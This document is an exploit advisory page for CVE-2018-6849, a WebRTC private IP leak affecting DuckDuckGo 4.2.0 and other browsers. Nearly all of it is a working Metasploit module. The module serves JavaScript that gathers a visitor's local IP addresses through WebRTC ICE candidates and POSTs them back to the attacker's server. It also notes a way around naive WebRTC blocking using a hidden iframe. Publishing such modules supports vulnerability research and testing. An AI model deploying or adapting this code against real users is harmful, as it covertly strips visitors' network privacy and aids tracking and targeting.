DuckDuckGo 4.2.0 WebRTC Private IP Leakage

2018.04.04
Credit: Brendan Coles
Risk: Medium
Local: No
Remote: Yes
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super( update_info( info, 'Name' => "Private IP Leakage to WebPage using WebRTC Function.", 'Description' => %q( This module exploits a vulnerability in browsers using well-known property of WebRTC (Web Real-Time Communications) which enables Web applications and sites to capture or exchange arbitrary data between browsers without requiring an intermediary. ), 'License' => MSF_LICENSE, 'Author' => [ 'Brendan Coles', #MSF Module 'Dhiraj Mishra' #MSF Module ], 'References' => [ [ 'CVE', '2018-6849' ], ['URL', 'https://datarift.blogspot.in/p/private-ip-leakage-using-webrtc.html'] ], 'DisclosureDate' => 'Jan 26 2018', 'Actions' => [[ 'WebServer' ]], 'PassiveActions' => [ 'WebServer' ], 'DefaultAction' => 'WebServer' ) ) end def run exploit # start http server end def setup # code from: https://github.com/diafygi/webrtc-ips @html = <<-JS <script> //get the IP addresses associated with an account function getIPs(callback){ var ip_dups = {}; //compatibility for firefox and chrome var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; var useWebKit = !!window.webkitRTCPeerConnection; //bypass naive webrtc blocking using an iframe if(!RTCPeerConnection){ //NOTE: you need to have an iframe in the page right above the script tag // //<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe> //<script>...getIPs called in here... // var win = iframe.contentWindow; RTCPeerConnection = win.RTCPeerConnection || win.mozRTCPeerConnection || win.webkitRTCPeerConnection; useWebKit = !!win.webkitRTCPeerConnection; } //minimal requirements for data connection var mediaConstraints = { optional: [{RtpDataChannels: true}] }; var servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]}; //construct a new RTCPeerConnection var pc = new RTCPeerConnection(servers, mediaConstraints); function handleCandidate(candidate){ //match just the IP address var ip_regex = /([0-9]{1,3}(\\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/ var ip_addr = ip_regex.exec(candidate)[1]; //remove duplicates if(ip_dups[ip_addr] === undefined) callback(ip_addr); ip_dups[ip_addr] = true; } //listen for candidate events pc.onicecandidate = function(ice){ //skip non-candidate events if(ice.candidate) handleCandidate(ice.candidate.candidate); }; //create a bogus data channel pc.createDataChannel(""); //create an offer sdp pc.createOffer(function(result){ //trigger the stun server request pc.setLocalDescription(result, function(){}, function(){}); }, function(){}); //wait for a while to let everything done setTimeout(function(){ //read candidate info from local description var lines = pc.localDescription.sdp.split('\\n'); lines.forEach(function(line){ if(line.indexOf('a=candidate:') === 0) handleCandidate(line); }); }, 1000); } getIPs(function(ip){ //console.log(ip); var xmlhttp = new XMLHttpRequest; xmlhttp.open('POST', window.location, true); xmlhttp.send(ip); }); </script> JS end def on_request_uri(cli, request) case request.method.downcase when 'get' print_status("#{cli.peerhost}: Sending response (#{@html.size} bytes)") send_response(cli, @html) when 'post' print_status("#{cli.peerhost}: Received reply:") puts request.to_s else print_error("#{cli.peerhost}: Unhandled method: #{request.method}") end end end


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